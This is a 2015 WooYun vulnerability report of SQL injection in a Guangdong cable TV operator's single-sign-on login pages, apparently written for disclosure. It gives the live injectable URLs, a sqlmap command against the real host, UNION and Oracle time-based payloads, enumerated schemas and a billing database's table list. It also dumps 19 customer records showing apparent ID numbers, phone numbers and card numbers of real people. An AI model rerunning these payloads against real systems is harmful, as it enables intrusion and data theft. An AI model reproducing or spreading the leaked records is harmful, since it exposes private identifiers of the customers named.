当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0104310

漏洞标题:广东广电网络某站SQL注入(影响40W用户)

相关厂商:广东省广播电视网络股份有限公司

漏洞作者: Vern

提交时间:2015-03-30 14:13

修复时间:2015-04-04 14:14

公开时间:2015-04-04 14:14

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-30: 细节已通知厂商并且等待厂商处理中
2015-04-04: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

广东广电网络主站注入 影响全省有线广播电视用户身份数据

详细说明:

注入点1:

http://www.96956.com.cn/uapssoweb/login/logintv!ssoLogin?channelcode=1001&citycode=FS&returl=1


注入点2:

http://www.96956.com.cn/uapssoweb/login/login!ssoLogin?channelcode=1001&citycode=root&returl=1


C:\Python27>python sqlmap/sqlmap.py -u "http://www.96956.com.cn/uapssoweb/login/
login!ssoLogin?channelcode=1001&citycode=root&returl=1" -p "returl" --dbs
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 21:56:48
[21:56:48] [INFO] resuming back-end DBMS 'oracle'
[21:56:48] [INFO] testing connection to the target URL
[21:56:48] [WARNING] the web server responded with an HTTP error code (500) whic
h could interfere with the results of the tests
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: returl
Type: UNION query
Title: Generic UNION query (NULL) - 6 columns
Payload: channelcode=1001&citycode=root&returl=1' UNION ALL SELECT NULL,CHR(
113)||CHR(117)||CHR(105)||CHR(116)||CHR(113)||CHR(74)||CHR(106)||CHR(122)||CHR(1
09)||CHR(70)||CHR(111)||CHR(79)||CHR(73)||CHR(104)||CHR(75)||CHR(113)||CHR(102)|
|CHR(101)||CHR(99)||CHR(113),NULL,NULL,NULL,NULL FROM DUAL--
Type: AND/OR time-based blind
Title: Oracle AND time-based blind
Payload: channelcode=1001&citycode=root&returl=1' AND 2973=DBMS_PIPE.RECEIVE
_MESSAGE(CHR(104)||CHR(66)||CHR(76)||CHR(102),5) AND 'wXsc'='wXsc
---
[21:56:48] [INFO] the back-end DBMS is Oracle
back-end DBMS: Oracle
[21:56:48] [WARNING] schema names are going to be used on Oracle for enumeration
as the counterpart to database names on other DBMSes
[21:56:48] [INFO] fetching database (schema) names
[21:56:49] [WARNING] reflective value(s) found and filtering out
[21:56:49] [INFO] the SQL query used returns 23 entries
[21:56:50] [INFO] retrieved: "APEX_030200"
[21:56:51] [INFO] retrieved: "APPQOSSYS"
[21:56:51] [INFO] retrieved: "BASEPORTAL"
[21:56:52] [INFO] retrieved: "CHANNELOPER"
[21:56:53] [INFO] retrieved: "CTXSYS"
[21:56:54] [INFO] retrieved: "DBSNMP"
[21:56:54] [INFO] retrieved: "EXFSYS"
[21:56:55] [INFO] retrieved: "FLOWS_FILES"
[21:56:56] [INFO] retrieved: "MDSYS"
[21:56:56] [INFO] retrieved: "OLAPSYS"
[21:56:57] [INFO] retrieved: "ORDDATA"
[21:56:58] [INFO] retrieved: "ORDSYS"
[21:56:58] [INFO] retrieved: "OUTLN"
[21:56:59] [INFO] retrieved: "OWBSYS"
[21:57:00] [INFO] retrieved: "PAYPLAT"
[21:57:01] [INFO] retrieved: "PORTAL"
[21:57:01] [INFO] retrieved: "RMP"
[21:57:02] [INFO] retrieved: "SCOTT"
[21:57:03] [INFO] retrieved: "SYS"
[21:57:03] [INFO] retrieved: "SYSMAN"
[21:57:04] [INFO] retrieved: "SYSTEM"
[21:57:05] [INFO] retrieved: "WMSYS"
[21:57:06] [INFO] retrieved: "XDB"
available databases [23]:
[*] APEX_030200
[*] APPQOSSYS
[*] BASEPORTAL
[*] CHANNELOPER
[*] CTXSYS
[*] DBSNMP
[*] EXFSYS
[*] FLOWS_FILES
[*] MDSYS
[*] OLAPSYS
[*] ORDDATA
[*] ORDSYS
[*] OUTLN
[*] OWBSYS
[*] PAYPLAT
[*] PORTAL
[*] RMP
[*] SCOTT
[*] SYS
[*] SYSMAN
[*] SYSTEM
[*] WMSYS
[*] XDB


<code>Database: PAYPLAT
+--------------------------------+---------+
| Table | Entries |
+--------------------------------+---------+
| REQ_CATV_LOG | 907997 |
| RES_CATV_BAK_1121_2 | 402595 |
| SYS_CUSTOMER_BAK_1121_2 | 402588 |
| BIZ_UAPINFO_BAK_1121_2 | 402587 |
| BIZ_PRD_ORDER | 136278 |
| BIZ_PRD_REQ | 136277 |
| SYS_CUSTOMER_UPDLOG | 90746 |
| RES_CATVSTR | 83829 |
| BIZ_UPROCEDURE | 83731 |
| SYS_PROCEDURE | 83731 |
| RES_CATV | 81859 |
| SYS_CUSTOMER | 81756 |
| BIZ_UAPINFO | 81755 |
| SYS_SERV_INFO | 71995 |
| BIZ_PAY_ORDER_DETAIL | 70315 |
| SYS_CUSTOMER_BAK150128 | 65479 |
| BIZ_PAY_ORDER_DETAIL_BAK141031 | 55477 |
| BIZ_REQORDER | 37206 |
| SMS_SENDLOG | 36044 |
| RES_CATVSTR_BAK141031 | 35522 |
| BIZ_UPROCEDURE_BAK1011 | 35482 |
| BIZ_UPROCEDURE_BAK141031 | 35434 |
| SYS_CUSTOMER_BAK141031 | 34418 |
| BIZ_UAPINFO_BAK141031 | 34417 |
| LOG_PAY_ORDER_DETAIL | 30640 |
| SMS_PHONELOG | 30483 |
| BIZ_PAY_ORDER_DETAIL_FS | 29572 |
| SYS_CATV_LOGIN | 28629 |
| BIZ_PAY_ORDER | 27728 |
| RES_CATVIDUSABLE | 26993 |
| RES_CATVIDUSABLE_BAK150325 | 26791 |
| RES_CATVIDUSABLE_BAK150323 | 26764 |
| BIZ_DEDUCTFEE_REQ | 22357 |
| BIZ_PAY_ORDER_BAK141031 | 22191 |
| SYS_CUSTOMER_BAK0904 | 18509 |
| BIZ_UAPINFO_BAK0904 | 18508 |
| BIZ_DEDUCTFEE_REQ_BAK150131 | 16309 |
| BIZ_PAY_ORDER_DETAIL_GZ | 14838 |
| SMS_IPLOG | 13605 |
| TMP_RES_CATVIDUSABLE | 12790 |
| BANK_RSP_TMP | 12470 |
| SWP_ROUTE_LINK | 12038 |
| SYS_CUSTOMER_BAK0807_UPSERVID | 11672 |
| BIZ_DEDUCTFEE_REQ_BAK141210 | 11568 |
| BIZ_PAY_ORDER_FS | 11268 |
| LOG_PAY_ORDER | 10923 |
| ADMIN_USERDEV | 9890 |
| BIZ_DEDUCTFEE_REQ_BAK1030 | 9509 |
| SYS_CUSTOMER_BAK0702 | 9487 |
| HYX_UTVGO_ERR_1 | 9472 |
| BIZ_UPROCEDURE_BAK_0606 | 9031 |
| RES_CATVSTR_BAK_0601 | 8882 |
| BIZ_UPROCEDURE_BAK_0601 | 8881 |
| SYS_PROCEDURE_BAK_0601 | 8881 |
| RES_CATV_BAK_0601 | 8322 |
| SYS_CUSTOMER_BAK_0601 | 8313 |
| BIZ_UAPINFO_BAK_0601 | 8312 |
| SYS_CUSTOMER_140509 | 7769 |
| BIZ_UAPINFO_BAK20140418 | 7204 |
| ADMIN_USERINFO | 7123 |
| BIZ_PAY_ORDER_DETAIL_0601 | 6951 |
| BAK_BIZ_UAPINFO_20140325 | 6349 |
| SYS_CUSTOMER_BAK_20140305 | 5694 |
| BIZ_PAY_ORDER_GZ | 5537 |
| TMP_BIZ_PAY_ORDER_MAP | 5537 |
| BIL_PAYLINK_DETAIL | 4511 |
| SWP_ROUTE_LINK_BAK1030 | 4359 |
| SYS_SP_SERV_TMP_BAK_0601 | 4243 |
| SYS_SP_SERV_TMP | 4237 |
| SWP_ROUTE_LINK_BAK1022 | 4174 |
| BIZ_PAY_ORDER_0601 | 3555 |
| PRV_SYSPARAM_BAK150115 | 3431 |
| PRV_SYSPARAM | 3415 |
| PRV_SYSPARAM_BAK150202 | 3414 |
| PRV_SYSPARAM_BAK150128 | 3395 |
| PRV_SYSPARAM_BAK150127 | 3375 |
| PRV_SYSPARAM_BAK0718 | 3336 |
| PRV_SYSPARAM_0531 | 3294 |
| PRV_SYSPARAM_20130815 | 3136 |
| BAK_PRV_SYSPARAM_20131028 | 3100 |
| SYS_CUSTOMER_BAK_1129 | 2747 |
| BIZ_UPROCEDURE_BAK_1121_2 | 2744 |
| RES_CATVSTR_BAK_1121_2 | 2744 |
| SYS_PROCEDURE_BAK_1121_2 | 2744 |
| SYS_CUSTOMER_BAK_1128 | 2736 |
| BIZ_UPROCEDURE_BAK_1121 | 2722 |
| RES_CATVSTR_BAK_1121 | 2722 |
| SYS_PROCEDURE_BAK_1121 | 2722 |
| RES_CATV_BAK_1121 | 2579 |
| SYS_CUSTOMER_BAK_1121 | 2572 |
| BIZ_UAPINFO_BAK_1121 | 2571 |
| GZ_CUTOVER_MAP_BAK141031 | 2571 |
| GZ_CUTOVER_MAP | 2567 |
| BAK_SYS_CUSTOMER_1108 | 2367 |
| SYS_CUSTOMER_1311081210 | 2364 |
| BIL_PAYLINK_CHK | 2157 |
| UPOP_DAILY_DETAIL | 1827 |
| BIZ_BONUSPOINT_STR | 1684 |
| SWP_SERIAL_MAP | 1523 |
| PRV_SYNC_IOG | 1446 |
| PRV_BANKNORULE | 1398 |
| TMP_RES_CATVSTR | 1335 |
| TMP_BIZ_UPROCEDURE | 1333 |
| TMP_SYS_PROCEDURE | 1333 |
| TMP_RES_CATV | 1250 |
| TMP_SYS_CUSTOMER | 1243 |
| TMP_BIZ_UAPINFO | 1242 |
| TMP_SERVID | 1242 |
| RES_PATCH | 803 |
| PRV_SERIAL | 788 |
| PRV_OUTOPERATOR | 748 |
| TAB_REC_BAK | 728 |
| SYS_BANKACCT | 557 |
| ABC_BANKDEAL | 400 |
| BIL_RTCODE_DESC | 383 |
| ICBC_BANKDEAL | 381 |
| BAK_BIZ_DEDUCTFEE_REQ_20140124 | 345 |
| RULE_CHANEL_PAYABILITY | 239 |
| RULE_PAYRULES | 228 |
| BIZ_BONUSPOINT | 210 |
| PRV_OPERLOG | 204 |
| SYS_SERV_STATUS | 203 |
| RULE_PROCESSES_STEP | 186 |
| BAK_RULE_CHANEL_ABILITY_1028 | 178 |
| PRV_AREA | 122 |
| PRV_ATTRRULE | 114 |
| BIL_BNK_SERIAL | 96 |
| BIL_BNK_BANKNO | 93 |
| RULE_PAYABILITY | 91 |
| BAK_RULE_PAYABILITY_20131028 | 89 |
| BIZ_NUMFORMULA | 84 |
| BIZ_NUMFORMULA_BAK_0601 | 84 |
| BIZ_BATCHPROC_INFO | 76 |
| BIZ_UAPINFO_BAK | 67 |
| RULE_PAY_LINK | 67 |
| SYS_CUSTOMER_BAK | 67 |
| BIZ_CCPAY | 60 |
| CHK_CPAY_REC | 60 |
| QUE_RESULT | 60 |
| QUE_RESULT_BAK150202 | 59 |
| PRV_QUERYSQL | 51 |
| RULE_PAY_LINK_BAK150116 | 48 |
| SMS_RULE | 47 |
| TMP_BIZ_NUMFORMULA | 39 |
| LOG_PRV_LOGIN | 35 |
| PRV_EXPORT_LOG | 34 |
| SYS_BANK_SIGN_INFO | 32 |
| RULE_PROCESSES | 31 |
| RULE_PCODE_ATTR | 28 |
| BAK_RULE_LINK_20131028 | 27 |
| RULE_LINK | 26 |
| BAK_RULE_PROCESSES_STEP_1028 | 24 |
| QUE_CONDITION_BAK150202 | 24 |
| QUE_RESULT_BAK150115 | 24 |
| BAK_RULE_ACTION_20131028 | 23 |
| QUE_CONDITION | 23 |
| QUE_RESULT_BAK0721 | 23 |
| RULE_LINK_BAK0704 | 22 |
| BAK_RULE_PAY_LINK_20131028 | 21 |
| ORDER_OUT | 20 |
| RULE_ACTION | 20 |
| QUE_CONDITION_BAK150115 | 18 |
| ZSABC_DAILY_DETAIL | 13 |
| RULE_CHANEL_SSOCONF | 12 |
| RULE_PCODE | 11 |
| RULE_ACCESS_CHANEL | 10 |
| QUE_RESULT_BAK0718 | 9 |
| QUE_CONDITION_BAK0718 | 8 |
| BAK_RULE_SYSTEM_20131028 | 7 |
| RULE_SYSTEM | 7 |
| RULE_SYSTEM_COMPARISON | 5 |
| BAK_RULE_PROCESSES_20131028 | 4 |
| QUE_QUERYDEF | 4 |
| QUE_QUERYDEF_BAK150304 | 4 |
| PRV_AGENT_BIZRULE | 3 |
| RULE_PAYMENT | 3 |
| BAK_RULE_ACCESS_CHANEL_1028 | 2 |
| PRV_AREA_BAK150127 | 2 |
| QUE_QUERYDEF_BAK150115 | 2 |
| RULE_ERR_PROCESSES_STEP | 2 |
| RULE_QUEUE_TYPE | 2 |
| PRV_SYNC_TAG | 1 |
| QUE_QUERYDEF_BAK0718 | 1 |
+--------------------------------+---------+

漏洞证明:

2.png


1.png


[19 entries]
+-------+--------------+--------------+-------------+-------+--------+----------
----------+------------------+--------------------------------+----------+------
-------+--------------+--------------+--------------+---------------+
| RECID | SERVID | CUSTID | CATVID | EMAIL | STATUS | CARDNO
| EQUIPNO | USERNAME | BRANCHNO | PHONE
NUMBER | PHONENUMBER1 | PHONENUMBER3 | PHONENUMBER2 | EQUIPMENTTYPE |
+-------+--------------+--------------+-------------+-------+--------+----------
----------+------------------+--------------------------------+----------+------
-------+--------------+--------------+--------------+---------------+
| 34446 | SPFS00000842 | c10013806250 | 18988613633 | NULL | 4 | 440622720
[22:37:08] [WARNING] cannot properly display Unicode characters inside Windows O
S command prompt (http://bugs.python.org/issue1602). All unhandled occurances wi
ll result in replacement with '?' character. Please, find proper character repre
sentation inside corresponding output files.
| \\?c2?\\?f5 | FS | 13326752255 | NULL | NULL
| NULL | 1 |
| 34447 | SPFS00000861 | c10013882331 | 13809709358 | NULL | 4 | 440682196
403263216 | 8757002961307489 | \\?c7\\?f8\\?ca?\\?a8 | FS | -8688
4535-- | NULL | NULL | NULL | 1 |
| 34448 | SPFS00000881 | c10013177834 | 13827773302 | NULL | 4 | 440601570
303063 | 8757002961774944 | \\?bf\\?c2\\?c6\\?f4\\?b3\\?ac | FS | -8225
3322-- | NULL | NULL | NULL | 1 |
| 34449 | SPFS00000921 | c10013581433 | 13923101639 | NULL | 4 | 110221690
923831 | 8757002961971045 | \\?c7??\\?a8 | FS | -8771
7172-- | NULL | NULL | NULL | 1 |
| 34450 | SPFS00000922 | c10014848056 | 15986153131 | NULL | 4 | 440621195
70821141X | 8757002961970286 | \\?bb\\?c6?\\?d0\\?c2 | FS | 15986
153131 | NULL | NULL | NULL | 1 |
| 34451 | SPFS00000941 | c10013221694 | 13542595938 | NULL | 4 | 440601195
012293415 | 8757002961687104 | \\?c1?\\?ba\\?ec\\?f7 | FS | -8227
0470-- | NULL | NULL | NULL | 1 |
| 34452 | SPFS00000981 | c10013337923 | 13302896107 | NULL | 4 | 440601700
416061 | 8757003108712441 | \\?d6\\?ec?\\?ba\\?e0 | FS | -8332
4598-- | NULL | NULL | NULL | 1 |
| 34453 | SPFS00001021 | c10013907069 | 13420782983 | NULL | 4 | 441425197
303102279 | 8757003108192982 | \\?c1\\?f5\\?b9\\?fa\\?d6\\?d2 | FS | 13420
782983 | NULL | NULL | NULL | 1 |
| 34454 | SPFS00001041 | c10015270464 | 13516500204 | NULL | 4 | 440683199
012250311 | 8757003288028451 | \\?b4\\?f7\\?b6\\?ab\\?d3\\?d3 | FS | 13516
500204 | NULL | NULL | NULL | 1 |
| 34455 | SPFS00001042 | c10013177884 | 13827777629 | NULL | 4 | 440602197
411050037 | 8757002961787193 | \\?bb?\\?fa\\?b3\\?cf | FS | -8281
9835-- | NULL | NULL | NULL | 1 |
| 34456 | SPFS00001061 | c10014039133 | 13827790920 | NULL | 4 | 441822197
311202029 | 8757003108063779 | \\?c1\\?f5\\?be\\?b2? | FS | -8576
2161-- | NULL | NULL | NULL | 1 |
| 34457 | SPFS00001081 | c10015484839 | 13822682746 | NULL | 4 | 430602198
110176050 | 8757003108730740 | \\?c1\\?f5\\?c3\\?cd | FS | 13822
682746 | NULL | NULL | NULL | 1 |
| 34458 | SPFS00001101 | c10015531303 | 18038705295 | NULL | 4 | 440801198
112073211 | 8757003288247168 | \\?c9\\?f2\\?c8\\?ce | FS | 18038
705295 | NULL | NULL | NULL | 1 |
| 34459 | SPFS00001121 | c10014600185 | 13825526347 | NULL | 4 | 411121196
60605302X | 8757003108313687 | \\?bb\\?aa\\?cb\\?d8? | FS | -2667
3747-- | NULL | NULL | NULL | 1 |
| 34460 | SPFS00001141 | c10015094396 | 13687436689 | NULL | 4 | 440921197
109133515 | 8757003108027329 | \\?c5\\?cb\\?c0\\?b4? | FS | 13687
436689 | NULL | NULL | NULL | 1 |
| 34461 | SPFS00001201 | c10014342558 | 13702488839 | NULL | 4 | 460006197
801297218 | 8757003288442058 | \\?c0\\?ee\\?c2\\?d4 | FS | 13702
488839 | NULL | NULL | NULL | 1 |
| 34462 | SPFS00001202 | NULL | 13928670808 | NULL | 4 | NULL
| 8757003288318209 | \\?ba?\\?ce\\?c1\\?e1 | FS | 13928
670808 | NULL | NULL | NULL | 1 |
| 34463 | SPFS00001221 | c10014033018 | 13702988525 | NULL | 4 | 440682731
130571 | 8757002164836706 | \\?d4\\?f8\\?b8\\?f9\\?b2\\?c6 | FS | 13702
988525 | NULL | NULL | NULL | 1 |
| 34464 | SPFS00001241 | c10014851318 | 18988518089 | NULL | 4 | 420803197
202235733 | 8757002961814575 | \\?d5?\\?ba\\?c1\\?d6 | FS | 18988
518089 | NULL | NULL | NULL | 1 |
+-------+--------------+--------------+-------------+-------+--------+----------
----------+------------------+--------------------------------+----------+------
-------+--------------+--------------+--------------+---------------+

修复方案:

过滤 过滤

版权声明:转载请注明来源 Vern@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-04-04 14:14

厂商回复:

漏洞Rank:10 (WooYun评价)

最新状态:

暂无